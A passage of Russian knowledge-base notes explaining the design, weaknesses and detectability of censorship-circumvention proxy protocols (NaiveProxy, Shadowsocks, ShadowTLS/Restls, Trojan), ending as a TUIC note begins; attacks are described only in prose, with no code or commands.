библиотека uTLS и параметр `client-fingerprint` в [[Clash/06-features-protocols|mihomo]]. NaiveProxy заходит с другой стороны: **берёт сетевой стек Chromium целиком и работает через него**. Рукопожатие делает тот же код, что в браузере, HTTP/2 ведёт себя как в браузере, приоритеты потоков и служебные кадры — браузерные. Подделывать нечего, потому что это не подделка. Проще говоря: остальные шьют костюм, похожий на форму, а NaiveProxy надевает настоящую. ## Как устроена схема Цепочка выглядит так: **браузер → клиент NaiveProxy → сеть (цензор) → фронтенд-сервер → сервер NaiveProxy → интернет**. **Клиент** поднимает у вас локальный прокси-порт и устанавливает к вашему серверу обычное TLS-соединение, внутри которого открывает туннель методом **CONNECT по HTTP/2** (поддерживается и HTTP/3). Все ваши соединения мультиплексируются в этом туннеле — то есть в сеть уходит одно длинное соединение с сервером, а не десятки коротких. **Фронтенд-сервер** — обычный веб-сервер, чаще всего **Caddy с плагином forwardproxy** (есть форк, добавляющий набивку в стиле NaiveProxy). Он смотрит на заголовок авторизации в запросе: если данные верные — запрос уходит в прокси-часть, если нет — обслуживается как обычный веб-запрос. Отсюда и устойчивость к активной проверке: цензор, постучавшийся на ваш домен, увидит сайт, а не прокси. **Набивка.** Первые 8 операций чтения и записи в каждом потоке дополняются случайным количеством байтов (0–255), чтобы сгладить характерное распределение длин пакетов в начале соединения. Дальше набивка отключается — она нужна там, где формируется узнаваемый почерк, а не на всём объёме трафика, иначе пострадала бы скорость. По README проекта, такая конструкция направлена против четырёх угроз: определения посещаемых сайтов по «отпечатку трафика» (мешает мультиплексирование), отпечатка TLS-параметров (решается стеком Chromium), активного зондирования (решается фронтингом) и анализа по длинам пакетов (решается набивкой и фрагментацией). ## Сильные и слабые стороны **Сильные.** - **Отпечаток не отличается от браузерного** — самый принципиальный плюс, и он не требует поддержки со стороны цензора «поверить» в маскировку. - **Поведение трафика похоже на веб-сёрфинг**: одно долгое HTTP/2-соединение с мультиплексом — ровно то, что делает браузер на современном сайте. - **Проверенная временем схема**: проект существует давно и используется в жёстко цензурируемых сетях. **Слабые.** - **Вес.** Клиент несёт в себе часть Chromium, поэтому бинарник большой, а сборка под нестандартные платформы — отдельная задача. Для сравнения: клиент [[protocols/trojan|Trojan]] — это единицы мегабайт. - **Серверная часть сложнее.** Нужен домен, сертификат и веб-сервер с плагином — а не «один бинарник с конфигом», как у [[Hysteria/00-overview|Hysteria]] или [[xray/vless|VLESS]]. - **Ограниченная поддержка в ядрах** — главный практический ограничитель, о нём ниже. - **Свой домен обязателен**, а значит, остаются следы: регистрация домена и запись сертификата в публичных логах прозрачности. Прикрыться чужим сайтом, как это делает [[xray/reality|REALITY]], NaiveProxy не умеет. > [!note] Отпечаток решает не всё > Совпадение TLS-отпечатка с Chrome снимает один класс детекта, но не отменяет остальные: наблюдатель по-прежнему видит, что вы держите долгое соединение с одним доменом и гоните через него весь трафик. В сетях, где смотрят на объёмы и на репутацию адреса назначения, это остаётся заметным. Ни один протокол не закрывает все уровни анализа сразу. ## Поддержка в ядрах — почему это важно NaiveProxy — самый наглядный пример того, что **список поддерживаемых протоколов при выборе ядра проверять обязательно**: | Ядро | Поддержка naive | |---|---| | [[sing-box/sing-box-extended\|sing-box]] | Есть, и входящий, и исходящий (в свежих версиях — с QUIC и ECH) | | [[Clash/02-mihomo\|mihomo]] | Нет | | [[xray/project-x\|Xray-core]] | Нет | Иначе говоря, если сервер выдаёт вам naive, вопрос «какое ядро удобнее» не стоит: подойдёт то, где протокол реализован. Никакие достоинства маршрутизации в mihomo этого не компенсируют. Подробнее логика выбора ядра — в [[Clash/08-vs-sing-box|сравнении mihomo, sing-box и Xray]]. Отдельно существует и **оригинальный клиент** `naiveproxy` от автора — если ядро протокол не поддерживает, можно запускать его рядом и подключать к нему остальной софт через локальный порт. Это рабочий, но менее удобный вариант: маршрутизацией и правилами такой связке придётся управлять отдельно. ## Кому подходит NaiveProxy разумен, когда **приоритет — устойчивость к отпечаткам, а не гибкость**: в сетях с жёстким DPI, который отбирает соединения по TLS-почерку и добивает активным зондированием. Он же удобен, если у вас уже есть сайт на Caddy и добавить прокси-функцию к нему — небольшое изменение. Если же вам нужны десятки узлов, сложная маршрутизация и подписки — экосистема вокруг [[xray/vless|VLESS]] с [[xray/reality|REALITY]] или [[Clash/02-mihomo|mihomo]] даст больше удобства. Разумный компромисс — держать naive-узел запасным каналом на случай, когда основную схему начинают распознавать. ## 📚 См. также - [[protocols/00-overview|Обзор протоколов]] — карта задач и поддержки в ядрах. - [[Clash/08-vs-sing-box|mihomo против sing-box и Xray]] — почему редкий протокол определяет выбор ядра. - [[DPI/browser-ja4-fingerprint-block|Отпечаток TLS-рукопожатия]] — проблема, которую NaiveProxy решает радикально. - [[DPI/curl-impersonate|curl-impersonate]] — родственная идея: повторить сетевой почерк браузера в другом инструменте. - [[xray/reality|REALITY]] — альтернативный подход: не свой домен, а прикрытие чужим. - [[protocols/anytls|AnyTLS]] и [[protocols/shadowtls|ShadowTLS]] — другие ответы на задачу маскировки под TLS. - 🔗 [github.com/klzgrad/naiveproxy](https://github.com/klzgrad/naiveproxy) — исходники, описание схемы и угроз. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/protocols/naiveproxy.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-25 tags: - протоколы - shadowsocks - обход-блокировок - криптография aliases: - Shadowsocks - SS - Shadowsocks 2022 - SIP022 link: https://shadowsocks.org/doc/sip022.html --- # 🧦 Shadowsocks: как устроен самый старый живой прокси обхода > [!info] О чём заметка > Разбор протокола **Shadowsocks** — родоначальника современных прокси для обхода цензуры: как он устроен, почему старые шифры небезопасны, что изменила редакция **Shadowsocks 2022 (SIP022)** и в каком виде протокол имеет смысл использовать сегодня. Общая карта протоколов и того, какое ядро что поддерживает, — в [[protocols/00-overview|обзоре протоколов]]. ## TL;DR - Shadowsocks — **простой шифрованный прокси**: клиент шифрует адрес назначения и данные общим паролем и отправляет серверу. Ни рукопожатия, ни сертификатов, ни маскировки под сайт в базовом виде нет. - Именно простота дала протоколу и популярность, и главную слабость: **у трафика нет никакого «легального» вида** — он выглядит как поток случайных байтов, а это само по себе аномалия для DPI. - Исторические шифры (**stream ciphers**) сломаны: в феврале 2020 года была опубликована атака, превращающая сервер в оракул расшифровки — записанный трафик можно расшифровать целиком, не зная пароля. Использовать их нельзя. - **AEAD-редакция 2017 года** закрыла ту атаку, но оставила проблемы с защитой от повторов и слабый вывод ключа из пароля. - **Shadowsocks 2022 (SIP022)** — актуальная редакция: BLAKE3 вместо HKDF-SHA1, обязательный полноценный ключ вместо пароля, полная защита от повторов (включая UDP), сессионный UDP-релей и заголовки идентичности для многопользовательских серверов. - Сегодня Shadowsocks редко применяют «голым»: его заворачивают в [[protocols/shadowtls|ShadowTLS]], обфускаторы или транспорт, а от подписки к подписке всё чаще встречается [[xray/vless|VLESS]] с [[xray/reality|REALITY]]. ## Идея протокола Shadowsocks появился в 2012 году как ответ на простую задачу: провести TCP-соединение через сервер за границей так, чтобы наблюдатель не понял, куда именно вы идёте. Автор под ником clowwindy сознательно отказался от сложности: **никакого рукопожатия, никаких сертификатов, никакого согласования параметров**. Работает это так. Клиент и сервер знают общий секрет. Клиент открывает TCP-соединение к серверу и первым же делом отправляет зашифрованный заголовок с адресом назначения (домен или IP + порт), а следом — зашифрованные данные. Сервер расшифровывает, подключается куда сказано и гоняет байты в обе стороны. Проще говоря: Shadowsocks — это SOCKS5-прокси, у которого всё, включая адрес назначения, зашифровано общим паролем. Всё остальное — транспорт, маскировка, мультиплексирование — в базовом протоколе отсутствует. У такого минимализма есть прямое следствие для обнаружения. Соединение не начинается ни с TLS-рукопожатия, ни с HTTP-запроса — оно начинается со случайно выглядящих байтов и продолжается ими же. В сети, где почти весь трафик распознаваем, «поток без опознавательных знаков» становится отдельной категорией, которую можно отбирать и проверять активным зондированием. Работа исследователей [«How China Detects and Blocks Shadowsocks»](https://gfw.report/publications/imc20/data/paper/shadowsocks.pdf) (IMC 2020) описывает именно такую схему: пассивный отбор кандидатов по статистике и последующая активная проверка сервера. ## Три поколения шифрования Понимать разницу поколений важно практически: в конфигах и подписках до сих пор встречаются все три, а безопасны из них не все. | Поколение | Примеры методов | Состояние | |---|---|---| | **Stream ciphers** (до 2017) | `aes-256-cfb`, `rc4-md5`, `chacha20` | **Сломаны.** Не использовать | | **AEAD** (2017) | `aes-256-gcm`, `chacha20-ietf-poly1305` | Работоспособны, но с известными недостатками | | **Shadowsocks 2022** (SIP022) | `2022-blake3-aes-128-gcm`, `2022-blake3-aes-256-gcm`, `2022-blake3-chacha20-poly1305` | Актуальная редакция | **Почему потоковые шифры нельзя использовать.** В феврале 2020 года исследователь Zhejiang Peng опубликовал атаку, в которой сервер Shadowsocks выступает **оракулом расшифровки**: злоумышленник, не знающий пароля, модифицирует записанные шифротексты, отправляет их серверу и по реакции восстанавливает открытый текст записанных ранее соединений. Атака работает потому, что потоковые шифры не проверяют целостность сообщения — сервер честно расшифровывает то, что ему подсунули. На AEAD-шифры она не переносится: там подделанное сообщение отбраковывается по тегу аутентификации. Проще говоря: если в вашем конфиге стоит метод вида `aes-256-cfb` или `rc4-md5`, ваш трафик может расшифровать посторонний, никакого пароля для этого не требуется. Это не гипотетический риск и не «устаревшая практика» — это работающая атака. **Что не так с AEAD-редакцией 2017 года.** Она чинит целостность, но оставляет: вывод ключа из пользовательского пароля через HKDF-SHA1 (то есть силу ключа определяет качество пароля), неполную защиту от повторов на TCP (фильтр с растущей со временем долей ложных срабатываний) и её полное отсутствие на UDP. ## Что изменила редакция 2022 (SIP022) **Shadowsocks 2022** — спецификация, переработавшая криптографическую часть. Ключевые изменения по [официальному описанию](https://shadowsocks.org/doc/sip022.html) и [тексту спецификации](https://github.com/Shadowsocks-NET/shadowsocks-specs/blob/main/2022-1-shadowsocks-2022-edition.md): - **BLAKE3 вместо HKDF-SHA1** для вывода ключей — современная и быстрая функция. - **Криптографический ключ вместо пароля.** В конфиге теперь не «придуманная строка», а сгенерированный случайный ключ в base64. Это убирает целый класс проблем «пароль `12345678` защищает канал». - **Полная защита от повторов**, в том числе для UDP: у каждого запроса и ответа есть отдельный заголовочный блок с меткой, повторно отправленный пакет отбраковывается. - **Сессионный UDP-релей** — заметно лучше работает с UDP-приложениями (игры, голос), чем прежняя схема «каждый пакет сам по себе». - **Extensible Identity Headers** — заголовки идентичности, позволяющие одному серверу обслуживать много пользователей с разными ключами (то, ради чего раньше поднимали отдельный порт на каждого). - **Больший размер полезной нагрузки** — до 65 535 байт вместо 16 383. Обязательными к реализации объявлены `2022-blake3-aes-128-gcm` и `2022-blake3-aes-256-gcm`; варианты на ChaCha предусмотрены для процессоров без аппаратного AES. > [!warning] Редакция 2022 не делает трафик незаметным > SIP022 решает задачи криптографии и защиты от повторов — но **не задачу маскировки**. Трафик по-прежнему выглядит как поток случайных байтов без опознавательных признаков, и пассивная классификация «это не похоже ни на что легальное» работает против него ровно так же. Если в вашей сети Shadowsocks блокируют по этому признаку, менять шифр бесполезно — нужна обёртка (см. следующий раздел). ## Как Shadowsocks выживает сегодня Раз сам протокол вида не имеет, ему этот вид добавляют снаружи. Практикуются три подхода. **Обёртка настоящим TLS.** [[protocols/shadowtls|ShadowTLS]] проводит честное TLS-рукопожатие с настоящим сторонним сайтом, а внутрь уже кладёт Shadowsocks. Для наблюдателя соединение выглядит как визит на популярный ресурс. Родственный подход — `restls`; в свежих версиях [[Clash/06-features-protocols|mihomo]] для Shadowsocks появилась и обфускация `jls`. **Плагины обфускации.** Исторический вариант (`simple-obfs`, `v2ray-plugin`): дописать протоколу видимость HTTP или WebSocket. Против современных DPI, которые смотрят не только на первые байты, но и на статистику потока, это слабая защита — приём стоит считать устаревшим, хотя в старых конфигах он встречается. **Смена протокола.** Самый частый путь на практике: подписки переезжают на [[xray/vless|VLESS]] с [[xray/reality|REALITY]] или на QUIC-протоколы вроде [[Hysteria/00-overview|Hysteria 2]] и [[protocols/tuic|TUIC]], где маскировка встроена в дизайн, а не пристроена сбоку. ## Практические выводы - Если в конфиге метод из колонки stream ciphers — **меняйте немедленно**, это не вопрос гигиены, а вопрос конфиденциальности уже переданного трафика. - Из живых вариантов предпочитайте методы `2022-blake3-*`; они поддерживаются актуальными ядрами — [[Clash/02-mihomo|mihomo]], [[sing-box/sing-box-extended|sing-box]], [[xray/project-x|Xray-core]]. - Ключ для SIP022 **генерируйте, а не придумывайте**: спецификация рассчитана на случайный ключ нужной длины, и «удобный пароль» здесь ломает модель безопасности. - Голый Shadowsocks в сетях с активным DPI держится плохо. Планируйте обёртку сразу или выбирайте протокол с встроенной маскировкой. ## 📚 См. также - [[protocols/00-overview|Обзор протоколов]] — карта: что решает каждый протокол и какое ядро его поддерживает. - [[protocols/shadowtls|ShadowTLS]] — обёртка, которая прячет Shadowsocks за рукопожатием настоящего сайта. - [[protocols/vmess|VMess]] и [[protocols/trojan|Trojan]] — два других протокола-ветерана и их слабые места. - [[xray/vless|Протокол VLESS]] — то, на что чаще всего мигрируют с Shadowsocks. - [[Clash/06-features-protocols|Возможности и протоколы mihomo]] — как эти методы называются в YAML-конфиге. - 🔗 [SIP022 AEAD-2022 Ciphers](https://shadowsocks.org/doc/sip022.html) — официальное описание актуальной редакции. - 🔗 [How China Detects and Blocks Shadowsocks (IMC 2020)](https://gfw.report/publications/imc20/data/paper/shadowsocks.pdf) — исследование схемы обнаружения. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/protocols/shadowsocks.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-25 tags: - протоколы - shadowtls - restls - tls - dpi aliases: - ShadowTLS - Shadow-TLS - Restls link: https://github.com/ihciah/shadow-tls --- # 🎭 ShadowTLS и Restls: маскировка чужим TLS-рукопожатием > [!info] О чём заметка > Разбор **ShadowTLS** — обёртки, которая прячет произвольный прокси (обычно [[protocols/shadowsocks|Shadowsocks]]) за настоящим TLS-рукопожатием с посторонним сайтом, и родственного протокола **Restls**. Здесь: как работает трюк с перенаправлением рукопожатия, чем отличаются версии v1–v3, почему в 2025 году v3 признали обнаружимым и что из этого следует практически. Карта протоколов — в [[protocols/00-overview|обзоре]]. ## TL;DR - Идея ShadowTLS: **рукопожатие делается с настоящим чужим сайтом**, а после его завершения соединение переключается на скрытый прокси-сервер. Наблюдатель видит сертификат и параметры реального популярного ресурса. - Это близкий родственник [[xray/reality|REALITY]] по замыслу («прикрыться чужим доменом»), но с другой конструкцией и другой историей. - Версии росли по защищённости: **v1** — базовый трюк, **v2** — проверка клиента по схеме «запрос-ответ» и упаковка данных, **v3** — аутентификация по предварительно разделённому ключу (PSK) и контроль целостности сообщений рукопожатия. - **v3 не считается надёжным с 2025 года**: инструмент Aparecium показал, что «подкрашивание» сообщений HMAC удлиняет ServerFinished на 4 байта — достаточный признак для обнаружения. Дата объявления — 31 мая 2025. - **Restls** — независимый протокол с той же целью, созданный в ответ на отсутствие взаимной аутентификации в ShadowTLS v2; поддерживает и TLS 1.2, и TLS 1.3, за счёт чего устроен сложнее. - Поддержка в ядрах есть ([[Clash/02-mihomo|mihomo]], [[sing-box/sing-box-extended|sing-box]]), но выбирать ShadowTLS как основную защиту в 2026 году — сомнительное решение; рассматривайте [[xray/reality|REALITY]] и [[protocols/anytls|AnyTLS]]. ## Трюк: рукопожатие с одним сервером, данные — с другим Основная механика ShadowTLS понятна из последовательности действий. Клиент подключается к вашему серверу-релею и начинает обычное TLS-рукопожатие, но адресованное **не ему**, а какому-нибудь настоящему популярному сайту. Релей эти сообщения честно **пересылает** на выбранный сайт и возвращает клиенту его ответы. Для наблюдателя это выглядит абсолютно нормально: настоящий сертификат настоящего домена, корректные параметры, всё сходится — потому что это и есть настоящее рукопожатие с настоящим сервером. Как только рукопожатие завершено, релей **перестаёт** пересылать трафик на сайт-прикрытие и соединяет клиента со скрытым прокси (например, сервером [[protocols/shadowsocks|Shadowsocks]]). Дальше внутри уже течёт полезная нагрузка. Проще говоря: ShadowTLS занимает у настоящего сайта его «лицо» на время знакомства, а разговор ведёт уже свой. Смысл в том, что при пассивном наблюдении соединение неотличимо от визита на популярный ресурс: сертификат чужой и настоящий, свой домен не нужен, следов в логах прозрачности сертификатов вы не оставляете. Тот же замысел лежит в основе [[xray/reality|REALITY]], но реализация у них разная, и разошлись они в первую очередь по устойчивости к тонким различиям в поведении. ## Три версии и что каждая чинила **v1** реализовывала базовый трюк без аутентификации клиента. Слабость очевидна: любой, кто узнал адрес и порт, мог подключиться и получить нестандартное поведение — то есть сервер выдавал себя при активной проверке. **v2** добавила проверку клиента по схеме «запрос-ответ» и упаковку данных в вид, похожий на обычные TLS-записи Application Data. Стало лучше, но исследователи указали на отсутствие **взаимной** аутентификации: клиент не мог убедиться, что говорит именно со своим релеем, что открывало путь к атакам посредника со стороны цензора. **v3** переработала оба слоя. Аутентификация строится на **предварительно разделённом ключе (PSK)**, а сообщения второй части рукопожатия (ServerHello, EncryptedExtensions, Certificate, CertificateVerify, Finished) релей возвращает от настоящего сервера, «подкрашивая» их значением HMAC(PSK) — это одновременно и подтверждение подлинности релея, и контроль целостности. Подробности — в [описании протокола v3](https://github.com/ihciah/shadow-tls/blob/master/docs/protocol-v3-en.md). ## Почему v3 больше не считается надёжным Здесь и находится главный практический вывод заметки. Приём с «подкрашиванием» имеет побочный эффект: **добавление HMAC меняет длину сообщений** — в частности, ServerFinished оказывается на 4 байта длиннее, чем в нормальном TLS-рукопожатии. Наблюдателю не нужно ничего расшифровывать: достаточно измерить длину конкретного сообщения и сравнить с эталоном. Именно это и показал инструмент **Aparecium** — открытый proof-of-concept для обнаружения протоколов, маскирующихся под TLS. По его данным, **31 мая 2025 года** ShadowTLS v3 был объявлен обнаружимым из-за врождённого свойства конструкции, а не из-за ошибки в конкретной реализации. Раньше, в 2023 году, независимый [анализ безопасности ShadowTLS](https://www.petsymposium.org/foci/2023/foci-2023-0002.pdf) (FOCI 2023) уже разбирал слабые места ранних версий. > [!danger] Практический вывод по ShadowTLS > Если ваша схема обхода опирается на ShadowTLS как на основную маскировку, считайте, что у цензора есть готовый способ её распознать — публично описанный и реализованный в открытом инструменте с мая 2025 года. Это не значит, что она перестанет работать завтра: обнаружимость и блокировка — разные вещи, и многое зависит от того, что именно применяет ваша сеть. Но планировать на ShadowTLS новую установку в 2026 году не стоит — разумнее [[xray/reality|VLESS + REALITY]] или [[protocols/anytls|AnyTLS]]. Заодно это хорошая иллюстрация общего правила: **маскировка живёт ровно до тех пор, пока её конструкция не создаёт собственного признака**. Любая добавка к стандартному протоколу — лишние байты, изменённая длина, нестандартный порядок сообщений — потенциально становится сигнатурой. Тот же принцип объясняет, почему [[DPI/browser-ja4-fingerprint-block|отпечаток TLS-рукопожатия]] так ценен для DPI. ## Restls: соседний ответ на ту же задачу **Restls** (репозиторий `3andne/restls`, авторское описание — [«Restls: A Perfect Impersonation of TLS»](https://github.com/3andne/restls/blob/main/Restls:%20A%20Perfect%20Impersonation%20of%20TLS.md)) создавался как ответ на конкретный недостаток ShadowTLS v2 — отсутствие взаимной аутентификации. Его отличия: - **Взаимная аутентификация встроена в само рукопожатие** и, по замыслу автора, не добавляет новых наблюдаемых признаков. - **Поддержка и TLS 1.2, и TLS 1.3.** ShadowTLS v3 в строгом режиме работает только с серверами на TLS 1.3, а Restls умеет выдавать себя за более широкий круг сайтов — ценой заметно более сложной конструкции. - Сервер может изображать **любой сайт из разрешённого списка**, а клиент — обычный браузер. В экосистеме ядер Restls появляется как опция обфускации: в релизах [[Clash/02-mihomo|mihomo]] середины 2026 года поддержка `restls` добавлена для AnyTLS, VMess, VLESS и Trojan. Отдельного независимого анализа устойчивости Restls, сопоставимого по глубине с работами по ShadowTLS, в открытом доступе немного — относитесь к нему как к перспективному, но недостаточно проверенному варианту. ## Как это выглядит в конфиге ShadowTLS — не самостоятельный прокси, а **обёртка**: в конфиге он задаётся как отдельный слой, поверх которого работает основной протокол. Типичная связка — Shadowsocks поверх ShadowTLS: указывается адрес релея, домен сайта-прикрытия (`handshake server`), версия протокола и пароль/PSK. Версия обязана совпадать на обеих сторонах. Из ядер обёртку поддерживают [[Clash/02-mihomo|mihomo]] (в том числе для Snell в свежих релизах) и [[sing-box/sing-box-extended|sing-box]]; в [[xray/project-x|Xray-core]] реализации нет — ещё один пример того, как редкие позиции в списке поддержки определяют выбор ядра (см. [[Clash/08-vs-sing-box|сравнение ядер]]). ## 📚 См. также - [[protocols/00-overview|Обзор протоколов]] — карта задач и поддержки в ядрах. - [[xray/reality|REALITY]] — та же идея прикрытия чужим сайтом, но иначе устроенная и активно развивающаяся. - [[protocols/anytls|AnyTLS]] — современный ответ на детект «TLS внутри TLS». - [[protocols/shadowsocks|Shadowsocks]] — протокол, который чаще всего заворачивают в ShadowTLS. - [[DPI/browser-ja4-fingerprint-block|Отпечаток TLS-рукопожатия]] — почему мелкие отклонения в рукопожатии выдают инструмент. - [[VLESS/dpi-tls-june-2026|VLESS + TLS: DPI-почерк]] — общая картина методов детекта. - 🔗 [ihciah/shadow-tls](https://github.com/ihciah/shadow-tls) — исходники и описание версий протокола. - 🔗 [Chasing Shadows: A security analysis of the ShadowTLS proxy (FOCI 2023)](https://www.petsymposium.org/foci/2023/foci-2023-0002.pdf) — независимый анализ безопасности. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/protocols/shadowtls.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-25 tags: - протоколы - trojan - tls - обход-блокировок aliases: - Trojan - Trojan-GFW - Trojan-Go link: https://github.com/trojan-gfw/trojan --- # 🐴 Trojan: прокси, который притворяется обычным HTTPS-сайтом > [!info] О чём заметка > Разбор протокола **Trojan** — минималистичного прокси поверх настоящего TLS, устроенного вокруг одной идеи: сервер должен вести себя как обычный веб-сайт для всех, кто не знает пароля. Здесь: как работает механизм отката (fallback), чем Trojan отличается от [[xray/vless|VLESS]], что добавил Trojan-Go и где у схемы слабое место. Карта протоколов — в [[protocols/00-overview|обзоре]]. ## TL;DR - Trojan **не изобретает своё шифрование**: он работает внутри обычного TLS-соединения к вашему домену с настоящим сертификатом. Всё шифрование — это тот же TLS, которым пользуется весь веб. - Аутентификация предельно простая: первым делом клиент отправляет **хеш пароля**, и если он верный — сервер начинает проксировать. - Главная защитная идея — **fallback**: при неверном пароле или при обычном визите браузером сервер молча передаёт соединение настоящему веб-серверу. Активный зонд видит нормальный сайт, а не «странный порт». - Требуется **домен и валидный сертификат** — в этом отличие от [[xray/reality|REALITY]], который позволяет прикрыться чужим сайтом без собственного домена. - Слабое место — не аутентификация, а **статистика**: связка «TLS внутри TLS» имеет узнаваемый почерк, и современный DPI ловит её независимо от корректности fallback. - **Trojan-Go** — форк с транспортом WebSocket, мультиплексированием и другими надстройками; исходный `trojan-gfw/trojan` — эталонная реализация на C++. ## Идея: не выделяться, потому что ты и есть сайт Trojan появился как реакция на слабость протоколов «случайных байтов» вроде раннего [[protocols/shadowsocks|Shadowsocks]]: их выдавал сам факт того, что трафик не похож ни на что известное. Ответ автора Trojan звучал так: **не надо изобретать маскировку — надо просто быть настоящим HTTPS-сервером**. Устройство минимально. На сервере стоит веб-сайт с доменом и обычным сертификатом (Let's Encrypt подойдёт). Клиент устанавливает к нему **обычное TLS-соединение** — то же самое рукопожатие, которое делает браузер. Внутри установленного канала клиент первым же сообщением отправляет: хеш пароля (SHA-224 в шестнадцатеричном виде), команду (TCP/UDP), адрес назначения — и дальше данные. Сервер, получив соединение, смотрит на первые байты. **Пароль верный** — работает как прокси. **Пароль неверный или это вообще обычный HTTP-запрос браузера** — сервер отдаёт соединение настоящему веб-серверу, и посетитель видит нормальный сайт. Проще говоря: снаружи ваш прокси неотличим от личного блога на HTTPS. Цензору, заподозрившему адрес, недостаточно постучаться на порт — он получит вежливый ответ веб-сервера, как и любой посетитель. ## Fallback: почему это главное в протоколе Механизм отката заслуживает отдельного объяснения, потому что именно он отличает Trojan от протоколов, которые «просто шифруют». Классический сценарий обнаружения прокси — **активное зондирование**: цензор видит подозрительное соединение, запоминает адрес и позже сам подключается к серверу, пробуя разные варианты. Протокол без защиты выдаёт себя реакцией: обрывает соединение, отвечает мусором, ведёт себя не как веб-сервер. Так в своё время ловили и Shadowsocks, и уязвимую реализацию [[protocols/vmess|VMess]]. Trojan на такую проверку отвечает содержимым настоящего сайта — не эмуляцией, а буквально ответом реального веб-сервера, который стоит рядом. Отличить это от обычного хостинга по одному запросу нельзя. > [!warning] Fallback защищает от зонда, но не от статистики > Устойчивость к активной проверке — половина задачи. Вторая половина — пассивный анализ: у соединения, внутри которого работает ещё одно шифрованное соединение («TLS внутри TLS»), характерные размеры первых пакетов и ритм обмена, отличающиеся от обычного просмотра сайта. Именно этот класс детекта разобран в [[VLESS/dpi-tls-june-2026|заметке про DPI-почерк TLS]], и против него в мире Xray придуманы XTLS Vision, а в соседних экосистемах — [[protocols/anytls|AnyTLS]] с его набивкой. У Trojan своего ответа на эту проблему нет. Второе ограничение — **нужен настоящий домен с сертификатом**. Это и деньги (домен), и след: домен регистрируется, сертификат попадает в публичные логи Certificate Transparency, а сайт-прикрытие должен выглядеть правдоподобно. Именно эту цепочку требований снял [[xray/reality|REALITY]], позволивший прикрываться **чужим** сайтом без собственного домена — поэтому новые установки чаще делают на нём. ## Trojan против VLESS Вопрос возникает постоянно, потому что оба протокола работают внутри TLS и оба почти не добавляют собственного шифрования. | Свойство | Trojan | [[xray/vless\|VLESS]] | |---|---|---| | Аутентификация | Хеш пароля в начале потока | UUID пользователя | | Собственное шифрование | Нет, только TLS | Нет, только TLS (в новых версиях есть опциональное шифрование) | | Защита от активного зонда | Fallback на настоящий веб-сервер | Fallback у Xray-сервера, а с REALITY — прикрытие чужим сайтом | | Свой домен и сертификат | Обязательны | Обязательны для обычного TLS, **не нужны с REALITY** | | Борьба с «TLS внутри TLS» | Не предусмотрена | XTLS Vision | | Развитие | Практически остановилось | Активное, в [[xray/project-x\|Project X]] | Вывод из таблицы простой: **Trojan — исторически важный и по-прежнему рабочий протокол, но VLESS покрывает те же сценарии и умеет больше**. Если сервер уже работает на Trojan и не блокируется — менять ради самой смены незачем. Если поднимаете новое — почти всегда разумнее VLESS с REALITY. ## Trojan-Go и варианты Эталонная реализация — `trojan-gfw/trojan` на C++. Форк **Trojan-Go** добавил к протоколу то, чего не хватало на практике: транспорт **WebSocket** (позволяет прятать соединение за CDN), **мультиплексирование** нескольких потоков в одном соединении, обфускацию через плагины Shadowsocks, встроенный менеджер пользователей. Поддержка Trojan есть во всех универсальных ядрах — [[Clash/02-mihomo|mihomo]], [[sing-box/sing-box-extended|sing-box]], [[xray/project-x|Xray-core]], — поэтому клиент выбирается свободно. > [!note] «Trojan» в подписке не всегда значит одно и то же > В конфигах встречаются варианты: чистый Trojan поверх TLS, Trojan поверх WebSocket (наследие Trojan-Go), Trojan с обёрткой вроде [[protocols/shadowtls|ShadowTLS]]. Параметры транспорта должны совпадать на клиенте и сервере — при рассинхроне соединение не установится, хотя пароль и адрес верны. Это частая причина «ключ рабочий, а не подключается». ## Практические выводы - Trojan имеет смысл там, где **уже есть домен и сайт**: прокси прячется за реальным веб-присутствием, и это выглядит естественно. - Держите сайт-прикрытие настоящим и осмысленным. Пустая страница «It works!» на домене, к которому идёт заметный трафик, — сама по себе подозрительная деталь. - Не рассчитывайте на fallback как на полную защиту: он закрывает активные проверки, а не поведенческий анализ. - Для новых развёртываний сравните с [[xray/reality|VLESS + REALITY]]: там не нужен свой домен и есть ответ на «TLS внутри TLS». ## 📚 См. также - [[protocols/00-overview|Обзор протоколов]] — карта задач и поддержки в ядрах. - [[xray/vless|Протокол VLESS]] и [[xray/reality|REALITY]] — основная альтернатива и её преимущества. - [[protocols/shadowsocks|Shadowsocks]] — протокол, недостатки которого Trojan исправлял. - [[protocols/vmess|VMess]] — третий ветеран эпохи и его уязвимость к активному зондированию. - [[protocols/anytls|AnyTLS]] — современный подход к проблеме «TLS внутри TLS». - [[VLESS/dpi-tls-june-2026|VLESS + TLS: DPI-почерк]] — как выглядят такие соединения для DPI. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/protocols/trojan.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-25 tags: - протоколы - tuic - quic - udp - обход-блокировок aliases: - TUIC - TUIC v5 - TUIC протокол link: https://github.com/tuic-protocol/tuic --- # 🚄 TUIC: QUIC-прокси с нулевой задержкой на переподключении > [!info] О чём заметка > Разбор протокола **TUIC** — прокси поверх QUIC, спроектированного вокруг быстрого установления соединения (0-RTT) и честной работы с UDP. Здесь: как он устроен, чем отличается от [[Hysteria/00-overview|Hysteria 2]], в чём разница версий v4 и v5, какие режимы UDP-релея бывают и в каком состоянии находится проект. Карта 